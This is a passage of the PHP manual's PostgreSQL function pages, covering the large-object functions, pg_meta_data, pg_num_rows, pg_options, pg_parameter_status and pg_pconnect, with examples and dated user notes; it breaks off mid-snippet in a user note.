If an object_id is given the function will try to create a large object with this id, else a free object id is assigned by the server. The parameter was added in PHP 5.3 and relies on functionality that first appeared in PostgreSQL 8.1.

Return Values

A large object OID or FALSE on error.

Changelog

Version | Description
5.3.0 | The optional object_id was added.

Examples

Example #1 pg_lo_create() example

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_create($database);
   echo "$oid\n";
   $handle = pg_lo_open($database, $oid, "w");
   echo "$handle\n";
   pg_lo_write($handle, "large object data");
   pg_lo_close($handle);
   pg_query($database, "commit");
?>

User Contributed Notes

andrea dot galli at acotel dot com 05-May-2003 10:21
<?php
// --------- OPEN CONN ---

   $conn = pg_connect("host='127.0.0.1' dbname='test' user='usertest' password='passtest'");

// --------- OPEN FILE ---

   $fp = fopen('logo.gif', "r");
   $buffer = fread($fp, filesize('logo.gif'));
   fclose($fp);

// --------- CREATE - INSERT OID ---

   pg_exec($conn, "begin");

   $oid = pg_locreate($conn);

   $rs = pg_exec($conn,"INSERT INTO test(tipo, images) VALUES('A1', $oid);");
   $handle = pg_loopen ($conn, $oid, "w");

   pg_lowrite ($handle, $buffer);
   pg_loclose ($handle);

   pg_exec($conn, "commit");

// --------- OPEN - INSERT OID ---

   $rs = pg_exec($conn, "SELECT images FROM test WHERE tipo = 'A1';");
   $row = pg_fetch_row($rs, 0);

   pg_exec($conn, "begin");
   $loid = pg_loopen($conn, $row[0], "r");

   header("Content-type: image/gif");

   pg_loreadall($loid);
   pg_loclose($loid);

   pg_exec ($conn, "commit");

// --------- UNLINK OID ---

   pg_exec($conn, "begin");

   $loid = $row[0];
   pg_lounlink($conn, $loid);

   pg_exec ($conn, "commit");

// --------- DELETE OID ---

   pg_exec($conn, "DELETE FROM test WHERE tipo = 'A1';");

// --------- CLOSE CONN ---

   pg_close();
?>
pg_lo_close
pg_lo_export
PostgreSQL Functions


Export a large object to file

pg_lo_create
pg_lo_import
PostgreSQL Functions
PHP Manual

pg_lo_export

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_export — Export a large object to file

Description

bool pg_lo_export ([ resource $connection ], int $oid , string $pathname )

pg_lo_export() takes a large object in a PostgreSQL database and saves its contents to a file on the local filesystem.

To use the large object interface, it is necessary to enclose it within a transaction block.

Note:

This function used to be called pg_loexport().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

oid

The OID of the large object in the database.

pathname

The full path and file name of the file in which to write the large object on the client filesystem.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_lo_export() example

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_create($database);
   $handle = pg_lo_open($database, $oid, "w");
   pg_lo_write($handle, "large object data");
   pg_lo_close($handle);
   pg_lo_export($database, $oid, '/tmp/lob.dat');
   pg_query($database, "commit");
?>

See Also

  • pg_lo_import() - Import a large object from file

User Contributed Notes

There are no user contributed notes for this page.
pg_lo_create
pg_lo_import
PostgreSQL Functions


Import a large object from file

pg_lo_export
pg_lo_open
PostgreSQL Functions
PHP Manual

pg_lo_import

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_import — Import a large object from file

Description

int pg_lo_import ([ resource $connection ], string $pathname [, mixed $object_id ] )

pg_lo_import() creates a new large object in the database using a file on the filesystem as its data source.

To use the large object interface, it is necessary to enclose it within a transaction block.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Note:

This function used to be called pg_loimport().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

pathname

The full path and file name of the file on the client filesystem from which to read the large object data.

object_id

If an object_id is given the function will try to create a large object with this id, else a free object id is assigned by the server. The parameter was added in PHP 5.3 and relies on functionality that first appeared in PostgreSQL 8.1.

Return Values

The OID of the newly created large object, or FALSE on failure.

Changelog

Version | Description
5.3.0 | The optional object_id was added.
4.2.0 | The syntax of this function changed. It used to be: int pg_lo_import ( string $pathname [, resource $connection ] )

Examples

Example #1 pg_lo_import() example

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_import($database, '/tmp/lob.dat');
   pg_query($database, "commit");
?>

See Also

  • pg_lo_export() - Export a large object to file
  • pg_lo_open() - Open a large object

User Contributed Notes

vi2 at vi2 dot com 01-Aug-2002 05:54
its not very clear if pg_lo_import needs to have pg_lo_open called first. Because pg_lo_import handles the process of writign to the file, it seems logical that pg_lo_open does not need to be called. However due to the ugly nature of how postgres handles oid objects, it would be nice to have this documented.
yohgaki at php dot net 19-Jun-2002 06:04
Due to a bug, OLD API does not available with PHP 4.2.0 and 4.2.1.

PHP 4.2.2 will support OLD API again and will be kept long enough.

New API will be available PHP 4.2.0 to later versions.
yohgaki at php dot net 19-Jun-2002 06:00
Due to a bug, PHP 4.2.0 and 4.2.1 does not support pg_lo_import() old API. It's fixed in PHP 4.2.2.

BTW, new API will be always available from PHP 4.2.0 to later versions. Older API will be kept long enough, also.
ceco at noxis dot net 15-May-2002 11:08
it works for me (php-4.2.1)

not like this

int pg_lo_import ( string pathname [, resource connection])

but
int pg_lo_import ( resource connection, string pathname )

don't know the reason
pg_lo_export
pg_lo_open
PostgreSQL Functions


Open a large object

pg_lo_import
pg_lo_read_all
PostgreSQL Functions
PHP Manual

pg_lo_open

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_open — Open a large object

Description

resource pg_lo_open ( resource $connection , int $oid , string $mode )

pg_lo_open() opens a large object in the database and returns large object resource so that it can be manipulated.

Warning

Do not close the database connection before closing the large object resource.

To use the large object interface, it is necessary to enclose it within a transaction block.

Note:

This function used to be called pg_loopen().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

oid

The OID of the large object in the database.

mode

Can be either "r" for read-only, "w" for write only or "rw" for read and write.

Return Values

A large object resource or FALSE on error.

Examples

Example #1 pg_lo_open() example

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_create($database);
   echo "$oid\n";
   $handle = pg_lo_open($database, $oid, "w");
   echo "$handle\n";
   pg_lo_write($handle, "large object data");
   pg_lo_close($handle);
   pg_query($database, "commit");
?>

See Also

  • pg_lo_close() - Close a large object
  • pg_lo_create() - Create a large object

User Contributed Notes

metator at netcabo dot pt 29-Aug-2005 11:15
Just for the record, a user must be a superuser (database owner) in order to invoke pg_lo_open() (though pg_lo_create() may be invoked...). This opens a gigantic security hole in the db. If a user is not a superuser, db will raise an error with message "Can't create Large Object.".
Thus, imho, one should use pg_escape_bytea() instead.
riccardo_ridenti at hotmail dot com 24-Oct-2002 03:49
//INSERT FILE INTO DB
$fp = fopen($filename,"r");
        $buffer = fread($fp,filesize($filename));
    fclose($fp);
    pg_query ($conn, "begin");
    $oid = pg_lo_create ($conn);
    //echo "$oid\n";
      $rs = pg_exec($conn,"insert into table(object) values($oid);");//object field type must be "oid"
    $handle = pg_lo_open ($conn, $oid, "w");
    //echo "$handle\n";
    pg_lo_write ($handle, $buffer);
    pg_lo_close ($handle);
    pg_query ($conn, "commit"); //OR END
pg_close();

//GET BUFFER(file) FROM DB
$rs = pg_exec($conn,"select object from objects where id = xxxxxx;");
$row = pg_fetch_row($rs,0);
pg_query ($conn, "begin");
    $loid = pg_lo_open($conn,$row[0], "r");
    pg_lo_read_all ($loid);
    pg_lo_close ($loid);
pg_query ($conn, "commit"); //OR END
pg_close();
pg_lo_import
pg_lo_read_all
PostgreSQL Functions


Reads an entire large object and send straight to browser

pg_lo_open
pg_lo_read
PostgreSQL Functions
PHP Manual

pg_lo_read_all

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_read_all — Reads an entire large object and send straight to browser

Description

int pg_lo_read_all ( resource $large_object )

pg_lo_read_all() reads a large object and passes it straight through to the browser after sending all pending headers. Mainly intended for sending binary data like images or sound.

To use the large object interface, it is necessary to enclose it within a transaction block.

Note:

This function used to be called pg_loreadall().

Parameters

large_object

PostgreSQL large object (LOB) resource, returned by pg_lo_open().

Return Values

Number of bytes read or FALSE on error.

Examples

Example #1 pg_lo_read_all() example

<?php
   header('Content-type: image/jpeg');
   $image_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $image_oid, "r");
   pg_lo_read_all($handle);
   pg_query($database, "commit");
?>

See Also

  • pg_lo_read() - Read a large object

User Contributed Notes

fabar2 at libero dot it 08-Oct-2011 08:36
Pay attention that if you omit the "length" parameter it will read a 8192 bytes object regardless to its real dimensions. If you want to use this function think to save the object size somewhere (usually a field in its table) before reading the object. Alternatively use the pg_lo_readall function.
robert dot bernier5 at sympatico dot ca 24-Sep-2004 07:45
// remember, large objects must be obtained from within a transaction
pg_query ($dbconn, "begin");

// "assume" for this example that the large object resource number of the zipped file is "17899"

$lo_oid = 17899;

$handle_lo = pg_lo_open($dbconn,$lo_oid,"r") or die("<h1>Error.. can't get handle</h1>");

//headers to send to the browser before beginning the binary download
header('Accept-Ranges: bytes');
header('Content-Length: 32029974'); //this is the size of the zipped file
header('Keep-Alive: timeout=15, max=100');
header('Content-type: Application/x-zip');
header('Content-Disposition: attachment; filename="superjob.zip"');

pg_lo_read_all($handle_lo) or
  die("<h1>Error, can't read large object.</h1>");

// committing the data transaction
pg_query ($dbconn, "commit");
pg_lo_open
pg_lo_read
PostgreSQL Functions


Read a large object

pg_lo_read_all
pg_lo_seek
PostgreSQL Functions
PHP Manual

pg_lo_read

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_read — Read a large object

Description

string pg_lo_read ( resource $large_object [, int $len = 8192 ] )

pg_lo_read() reads at most len bytes from a large object and returns it as a string.

To use the large object interface, it is necessary to enclose it within a transaction block.

Note:

This function used to be called pg_loread().

Parameters

large_object

PostgreSQL large object (LOB) resource, returned by pg_lo_open().

len

An optional maximum number of bytes to return.

Return Values

A string containing len bytes from the large object, or FALSE on error.

Examples

Example #1 pg_lo_read() example

<?php
   $doc_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $doc_oid, "r");
   $data = pg_lo_read($handle, 50000);
   pg_query($database, "commit");
   echo $data;
?>

See Also

  • pg_lo_read_all() - Reads an entire large object and send straight to browser

User Contributed Notes

bobahspb at gmail dot com 22-Aug-2011 03:43
Be careful: pg_lo_export() create empty file without "begin"/"end".
See docs: "...it is necessary to enclose it within a transaction block..."
pg_lo_read_all
pg_lo_seek
PostgreSQL Functions


Seeks position within a large object

pg_lo_read
pg_lo_tell
PostgreSQL Functions
PHP Manual

pg_lo_seek

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_seek — Seeks position within a large object

Description

bool pg_lo_seek ( resource $large_object , int $offset [, int $whence = PGSQL_SEEK_CUR ] )

pg_lo_seek() seeks a position within a large object resource.

To use the large object interface, it is necessary to enclose it within a transaction block.

Parameters

large_object

PostgreSQL large object (LOB) resource, returned by pg_lo_open().

offset

The number of bytes to seek.

whence

One of the constants PGSQL_SEEK_SET (seek from object start), PGSQL_SEEK_CUR (seek from current position) or PGSQL_SEEK_END (seek from object end) .

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_lo_seek() example

<?php
   $doc_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $doc_oid, "r");
   // Skip first 50000 bytes
   pg_lo_seek($handle, 50000, PGSQL_SEEK_SET);
   // Read the next 10000 bytes
   $data = pg_lo_read($handle, 10000);
   pg_query($database, "commit");
   echo $data;
?>

See Also

  • pg_lo_tell() - Returns current seek position a of large object

User Contributed Notes

There are no user contributed notes for this page.
pg_lo_read
pg_lo_tell
PostgreSQL Functions


Returns current seek position a of large object

pg_lo_seek
pg_lo_unlink
PostgreSQL Functions
PHP Manual

pg_lo_tell

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_tell — Returns current seek position a of large object

Description

int pg_lo_tell ( resource $large_object )

pg_lo_tell() returns the current position (offset from the beginning) of a large object.

To use the large object interface, it is necessary to enclose it within a transaction block.

Parameters

large_object

PostgreSQL large object (LOB) resource, returned by pg_lo_open().

Return Values

The current seek offset (in number of bytes) from the beginning of the large object. If there is an error, the return value is negative.

Examples

Example #1 pg_lo_tell() example

<?php
   $doc_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $doc_oid, "r");
   // Skip first 50000 bytes
   pg_lo_seek($handle, 50000, PGSQL_SEEK_SET);
   // See how far we've skipped
   $offset = pg_lo_tell($handle);
   echo "Seek position is: $offset";
   pg_query($database, "commit");
?>

The above example will output:

Seek position is: 50000

See Also

  • pg_lo_seek() - Seeks position within a large object

User Contributed Notes

Marv-CZ 15-Nov-2010 10:26
Function to take a large object size:

<?php
function pg_lo_size ($lo) {
  $pos = pg_lo_tell ($lo);
  pg_lo_seek ($lo, 0, PGSQL_SEEK_END);
  $size = pg_lo_tell ($lo);
  pg_lo_seek ($lo, $pos, PGSQL_SEEK_SET);
  return $size;
}
?>
pg_lo_seek
pg_lo_unlink
PostgreSQL Functions


Delete a large object

pg_lo_tell
pg_lo_write
PostgreSQL Functions
PHP Manual

pg_lo_unlink

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_unlink — Delete a large object

Description

bool pg_lo_unlink ( resource $connection , int $oid )

pg_lo_unlink() deletes a large object with the oid. Returns TRUE on success or FALSE on failure.

To use the large object interface, it is necessary to enclose it within a transaction block.

Note:

This function used to be called pg_lounlink().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

oid

The OID of the large object in the database.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_lo_unlink() example

<?php
   // OID of the large object to delete
   $doc_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   pg_lo_unlink($database, $doc_oid);
   pg_query($database, "commit");
?>

See Also

  • pg_lo_create() - Create a large object
  • pg_lo_import() - Import a large object from file

User Contributed Notes

nospam at elzorro dot nl 14-Apr-2003 05:21
This function used to be called pg_lounlink() and not pg_lo_unlink()
pg_lo_tell
pg_lo_write
PostgreSQL Functions


Write to a large object

pg_lo_unlink
pg_meta_data
PostgreSQL Functions
PHP Manual

pg_lo_write

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_write — Write to a large object

Description

int pg_lo_write ( resource $large_object , string $data [, int $len ] )

pg_lo_write() writes data into a large object at the current seek position.

To use the large object interface, it is necessary to enclose it within a transaction block.

Note:

This function used to be called pg_lowrite().

Parameters

large_object

PostgreSQL large object (LOB) resource, returned by pg_lo_open().

data

The data to be written to the large object. If len is specified and is less than the length of data, only len bytes will be written.

len

An optional maximum number of bytes to write. Must be greater than zero and no greater than the length of data. Defaults to the length of data.

Return Values

The number of bytes written to the large object, or FALSE on error.

Examples

Example #1 pg_lo_write() example

<?php
   $doc_oid = 189762345;
   $data = "This will overwrite the start of the large object.";
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $doc_oid, "w");
   $data = pg_lo_write($handle, $data);
   pg_query($database, "commit");
?>

See Also

  • pg_lo_create() - Create a large object
  • pg_lo_open() - Open a large object

User Contributed Notes

nandrews at logictree dot co dot uk 05-Jun-2003 08:17
Using php 4.3.0 and PostgreSQL 7.3.1

I can write a simple script in which pg_lo_write seems to always return 1 and not the number of bytes written, as evidenced by extracting the data through another means.

Further more, I can make this pg_lo_write fail, or at least fail to write all the data it's pretty difficult to tell without the number of bytes written being returned, and not return the false value. In addition to this, the lo resource has been adjusted so that the oid it contains is 0.

Unfortunately, I do not know what exactly the failure mode is, it does seem to be in the ip network communication side of PostgreSQL, which is odd since the unix domain comms works fine for this. However, it would have been useful to have the pg_lo_write() function return as advertised, it would have saved some of the 2 man hours me and the dev. team put into diagnosing this problem.
cedric at isoca.com 27-Apr-2001 05:26
Be aware when you modify a lo with pg_lowrite() to remove first the old one : if the new lo is smaller than the one before, it only overwrite the begining and you keep the end of the old lo (open with "w" parameter, PHP 4.04 Linux RH).
pg_lo_unlink
pg_meta_data
PostgreSQL Functions


Get meta data for table

pg_lo_write
pg_num_fields
PostgreSQL Functions
PHP Manual

pg_meta_data

(PHP 4 >= 4.3.0, PHP 5)

pg_meta_data — Get meta data for table

Description

array pg_meta_data ( resource $connection , string $table_name )

pg_meta_data() returns table definition for table_name as an array.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

connection

PostgreSQL database connection resource.

table_name

The name of the table.

Return Values

An array of the table definition, or FALSE on error.

Examples

Example #1 Getting table metadata

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $meta = pg_meta_data($dbconn, 'authors');
  if (is_array($meta)) {
      echo '<pre>';
      var_dump($meta);
      echo '</pre>';
  }
?>

The above example will output:

array(3) {
["author"]=>
array(5) {
  ["num"]=>
  int(1)
  ["type"]=>
  string(7) "varchar"
  ["len"]=>
  int(-1)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
["year"]=>
array(5) {
  ["num"]=>
  int(2)
  ["type"]=>
  string(4) "int2"
  ["len"]=>
  int(2)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
["title"]=>
array(5) {
  ["num"]=>
  int(3)
  ["type"]=>
  string(7) "varchar"
  ["len"]=>
  int(-1)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
}

See Also

  • pg_convert() - Convert associative array values into suitable for SQL statement

User Contributed Notes

jsnell at e-normous dot com 12-Nov-2007 03:24
The built in function does not provide any support for selecting a schema.  If you need schema support and do not want to alter your SEARCH_PATH, the following function can provide it:

 function meta_data($table, $schema = 'public')
    {
$result = pg_query_params("SELECT a.attname, a.attnum, t.typname, a.attlen, a.attnotNULL, a.atthasdef, a.attndims
FROM pg_class as c, pg_attribute a, pg_type t, pg_namespace n
WHERE a.attnum > 0
AND a.attrelid = c.oid
AND c.relname = $1
AND a.atttypid = t.oid
AND n.oid = c.relnamespace
AND n.nspname = $2
ORDER BY a.attnum", array($table, $schema));
$fields = array();
while($row = pg_fetch_array()) {
$fields['attname'] = $row;
}
        return $fields;
    }
yarnofmoo at gmail dot com 27-Jun-2007 08:32
You can get some possibly more useful information with the query:

SELECT table_name, column_name, data_type, character_maximum_length FROM information_schema.columns WHERE table_name='tablename';
rburghol at vt dot edu 24-Jun-2005 06:37
When querying on meta data from a temp table, the meta data seems to persist even if a fresh connection is established, where the temp table no longer exists.

 For example, if you create a connection and a temp table like so:
$dbconn1 = pg_connect('blah blah', , PGSQL_CONNECT_FORCE_NEW);
pg_exec($dbconn1,'create temp table foo as select 'foo' as namecol, 'bar' as valcol');

Then create a new connection

$dbconn2 = pg_connect('blah blah', , PGSQL_CONNECT_FORCE_NEW);

And query the meta data for table 'foo' in this new connection, it will report the facts about this table:
pg_meta_data($dbconn2,'foo');

"'Array ( [foo] => Array ( [num] => 1 [type] => varchar... "

However, trying to remove this table:
pg_exec($dbconn,'drop table foo');

Throws an error:
pg_exec(): Query failed: ERROR: table "foo" does not exist in ...
dmiller at NOSPAM dot judcom dot nsw dot gov dot au 18-Jun-2003 01:31
This function seems to be case-sensitive on tablename (php-4.3.1)

The Array returned is of the following structure
['field name'] => Array
   (
     ['num'] => Field number starting at 1
     ['type'] => data type, eg varchar, int4
     ['len'] => internal storage size of field. -1 for varying
     ['not null'] => boolean
     ['has default'] => boolean
   )
     ......

for Varied size datatypes (varchar, text, etc)
you can get the max data length from the system table pg_attribute.atttypmod -4
eg.
select attnum, attname , atttypmod -4 as field_len
from pg_attribute, pg_class
where relname='$tablename'
and attrelid=relfilenode
and attnum>=1
pg_lo_write
pg_num_fields
PostgreSQL Functions


Returns the number of fields in a result

pg_meta_data
pg_num_rows
PostgreSQL Functions
PHP Manual

pg_num_fields

(PHP 4 >= 4.2.0, PHP 5)

pg_num_fields — Returns the number of fields in a result

Description

int pg_num_fields ( resource $result )

pg_num_fields() returns the number of fields (columns) in a PostgreSQL result resource.

Note:

This function used to be called pg_numfields().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

Return Values

The number of fields (columns) in the result. On error, -1 is returned.

Examples

Example #1 pg_num_fields() example

<?php
$result = pg_query($conn, "SELECT 1, 2");

$num = pg_num_fields($result);

echo $num . " field(s) returned.\n";
?>

The above example will output:

2 field(s) returned.

See Also

  • pg_num_rows() - Returns the number of rows in a result
  • pg_affected_rows() - Returns number of affected records (tuples)

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 01:02
Here is a simple example for using pg_num_feilds, pg_num_rows and pg_result together.  I'm simply SELECTing * from a table named markie on the current pg_connect().

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if (!$pgsql_conn) {
        print pg_last_error($pgsql_conn);
        exit;
    }

    $results = pg_query($pgsql_conn, "SELECT * FROM markie");

    echo "<table border=1>\n";
    for($lt = 0; $lt < pg_num_rows($results); $lt++) {
        echo "<tr>\n";
        for($gt = 0; $gt < pg_num_fields($results); $gt++) {
            echo "<td>" . pg_result($results, $lt, $gt) . "</td>\n";
        }
        echo "</tr>\n";
    }
    echo "</table>\n";

    pg_close($pgsql_conn);
?>

This code snippet will print out the rows and columns into a HTML table.

Regards,  --mark
pg_meta_data
pg_num_rows
PostgreSQL Functions


Returns the number of rows in a result

pg_num_fields
pg_options
PostgreSQL Functions
PHP Manual

pg_num_rows

(PHP 4 >= 4.2.0, PHP 5)

pg_num_rows — Returns the number of rows in a result

Description

int pg_num_rows ( resource $result )

pg_num_rows() will return the number of rows in a PostgreSQL result resource.

Note:

This function used to be called pg_numrows().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

Return Values

The number of rows in the result. On error, -1 is returned.

Examples

Example #1 pg_num_rows() example

<?php
$result = pg_query($conn, "SELECT 1");

$rows = pg_num_rows($result);

echo $rows . " row(s) returned.\n";
?>

The above example will output:

1 row(s) returned.

See Also

  • pg_num_fields() - Returns the number of fields in a result
  • pg_affected_rows() - Returns number of affected records (tuples)

User Contributed Notes

strata_ranger at hotmail dot com 10-May-2009 10:06
As mentioned, if you are performing an INSERT/UPDATE or DELETE query and want to know the # of rows affected, you should use pg_affected_rows() instead of pg_num_rows().

However, you can also exploit postgres's RETURNING clause in your query to auto-select columns from the affected rows.  This has the advantage of being able to tell not only how many rows a query affects, but exactly which rows those were, especially if you return a primary-key column.

For example:

<?php

// Example query.  Let's say that this updates five rows in the source table.
$res = pg_query("Update foo set bar = 'new data' where foo.bar = 'old data' ");
pg_num_rows($res); // 0
pg_affected_rows($res); // 5
pg_fetch_all($res); // FALSE

// Same query, with a RETURNING clause.
$res = pg_query("Update foo set bar = 'new data' where foo.bar = 'old data' RETURNING foo.pkey");
pg_num_rows($res); // 5
pg_affected_rows($res); // 5
pg_fetch_all($res); // Multidimensional array corresponding to our affected rows & returned columns
?>
ElDiablo 06-Oct-2008 07:09
About preceding note, you shouldn't use pg_num_rows() for this.
You should have instead a look at pg_affected_rows().
francisco at natserv dot com 07-Jan-2008 08:26
Not sure why this documentation doesn't have the following note:
Note: Use pg_affected_rows() to get number of rows affected by INSERT, UPDATE and DELETE query.

Found on other resources. Adding here in case someone else is looking for the info.
pg_num_fields
pg_options
PostgreSQL Functions


Get the options associated with the connection

pg_num_rows
pg_parameter_status
PostgreSQL Functions
PHP Manual

pg_options

(PHP 4, PHP 5)

pg_options — Get the options associated with the connection

Description

string pg_options ([ resource $connection ] )

pg_options() will return a string containing the options specified on the given PostgreSQL connection resource.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

A string containing the connection options, or FALSE on error.

Examples

Example #1 pg_options() example

<?php
   $pgsql_conn = pg_connect("dbname=mark host=localhost");
   echo pg_options($pgsql_conn);
?>

See Also

  • pg_connect() - Open a PostgreSQL connection

User Contributed Notes

Robert Treat <xzilla at sourceforge> 31-Dec-2004 08:07
Apparently this function does not return the database name given in the connection string.  I tried this on apache 2.x/php4.3.x/pg7.4.x and apache 1.3.x/php5.x/pg8rc1 and saw this behavior on both setups.
pg_num_rows
pg_parameter_status
PostgreSQL Functions


Looks up a current parameter setting of the server.

pg_options
pg_pconnect
PostgreSQL Functions
PHP Manual

pg_parameter_status

(PHP 5)

pg_parameter_status — Looks up a current parameter setting of the server.

Description

string pg_parameter_status ([ resource $connection ], string $param_name )

Looks up a current parameter setting of the server.

Certain parameter values are reported by the server automatically at connection startup or whenever their values change. pg_parameter_status() can be used to interrogate these settings. It returns the current value of a parameter if known, or FALSE if the parameter is not known.

Parameters reported as of PostgreSQL 8.0 include server_version, server_encoding, client_encoding, is_superuser, session_authorization, DateStyle, TimeZone, and integer_datetimes. (server_encoding, TimeZone, and integer_datetimes were not reported by releases before 8.0.) Note that server_version, server_encoding and integer_datetimes cannot change after PostgreSQL startup.

PostgreSQL 7.3 or lower servers do not report parameter settings, pg_parameter_status() includes logic to obtain values for server_version and client_encoding anyway. Applications are encouraged to use pg_parameter_status() rather than ad hoc code to determine these values.

Caution

On a pre-7.4 PostgreSQL server, changing client_encoding via SET after connection startup will not be reflected by pg_parameter_status().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

param_name

Possible param_name values include server_version, server_encoding, client_encoding, is_superuser, session_authorization, DateStyle, TimeZone, and integer_datetimes.

Return Values

A string containing the value of the parameter, FALSE on failure or invalid param_name.

Examples

Example #1 pg_parameter_status() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  echo "Server encoding: ", pg_parameter_status($dbconn, "server_encoding");
?>

The above example will output:

Server encoding: SQL_ASCII

User Contributed Notes

There are no user contributed notes for this page.
pg_options
pg_pconnect
PostgreSQL Functions


Open a persistent PostgreSQL connection

pg_parameter_status
pg_ping
PostgreSQL Functions
PHP Manual

pg_pconnect

(PHP 4, PHP 5)

pg_pconnect — Open a persistent PostgreSQL connection

Description

resource pg_pconnect ( string $connection_string [, int $connect_type ] )

pg_pconnect() opens a connection to a PostgreSQL database. It returns a connection resource that is needed by other PostgreSQL functions.

If a second call is made to pg_pconnect() with the same connection_string as an existing connection, the existing connection will be returned unless you pass PGSQL_CONNECT_FORCE_NEW as connect_type.

To enable persistent connection, the pgsql.allow_persistent php.ini directive must be set to "On" (which is the default). The maximum number of persistent connection can be defined with the pgsql.max_persistent php.ini directive (defaults to -1 for no limit). The total number of connections can be set with the pgsql.max_links php.ini directive.

pg_close() will not close persistent links generated by pg_pconnect().

Parameters

connection_string

The connection_string can be empty to use all default parameters, or it can contain one or more parameter settings separated by whitespace. Each parameter setting is in the form keyword = value. Spaces around the equal sign are optional. To write an empty value or a value containing spaces, surround it with single quotes, e.g., keyword = 'a value'. Single quotes and backslashes within the value must be escaped with a backslash, i.e., \' and \\.

The currently recognized parameter keywords are: host, hostaddr, port, dbname, user, password, connect_timeout, options, tty (ignored), sslmode, requiressl (deprecated in favor of sslmode), and service. Which of these arguments exist depends on your PostgreSQL version.

connect_type

If PGSQL_CONNECT_FORCE_NEW is passed, then a new connection is created, even if the connection_string is identical to an existing connection.

Return Values

PostgreSQL connection resource on success, FALSE on failure.

Examples

Example #1 Using pg_pconnect()

<?php
$dbconn = pg_pconnect("dbname=mary");
//connect to a database named "mary"

$dbconn2 = pg_pconnect("host=localhost port=5432 dbname=mary");
// connect to a database named "mary" on "localhost" at port "5432"

$dbconn3 = pg_pconnect("host=sheep port=5432 dbname=mary user=lamb password=foo");
//connect to a database named "mary" on the host "sheep" with a username and password

$conn_string = "host=sheep port=5432 dbname=test user=lamb password=bar";
$dbconn4 = pg_pconnect($conn_string);
//connect to a database named "test" on the host "sheep" with a username and password
?>

See Also

  • pg_connect() - Open a PostgreSQL connection
  • Persistent Database Connections

User Contributed Notes

robertb 10-Dec-2008 12:54
You should not use pg_pconnect - it's broken. It will work but it doesn't really pool, and it's behaviour is unpredictable. It will only make you rise the max_connections parameter in postgresql.conf file until you run out of resources (which will slow your database down).

If you have many concurrent connections to your database, you should use the PostgreSQL connection pooler PgBouncer (developed by the Skype-team). When using pgbouncer, make sure you use pg_connect and NOT pg_pconnect. Also, make sure you close your connections with pg_close.

* PGBouncer homepage:
http://developer.skype.com/SkypeGarage/DbProjects/PgBouncer

* PostgreSQL pooling article by Last.fm:
http://www.last.fm/user/Russ/journal/2008/02/21
/zd_postgres_connection_pools:_pgpool_vs._pgbouncer
ts at dev dot websafe dot pl 28-Oct-2007 02:22
<?php
//
// Using pg_pconnect in a class.
//
// Why this? Because the manual says:
//
//   If a second call is made to pg_pconnect() with the same
//   connection_string as an existing connection, the existing
//   connection will be returned unless you pass
//   PGSQL_CONNECT_FORCE_NEW as connect_type.
//
// This is not always true.
//
/**
 * MyClassA creates a postgresql connection using pg_pconnect
 * and stores the resulting resource id to $this->conn
 */
class MyClassA
{
    function __construct($connection_string)
    {
        $this->conn =
            pg_pconnect($connection_string)
                or die('Wrong CONN_STRING');
    }
}

//
// Showing current php.ini settings to be sure
// that persistent connections s  are allowed.
// -1 means 'unlimited'
//
echo '<br>pgsql.allow_persistent: ' . ini_get('pgsql.allow_persistent');
echo '<br>pgsql.max_persistent: ' . ini_get('pgsql.max_persistent');
echo '<br>pgsql.max_links: ' . ini_get('pgsql.max_links');
echo '<br><br>';

// setting one custom connection string for all objects
// (modify $connection_string to fit your needs)
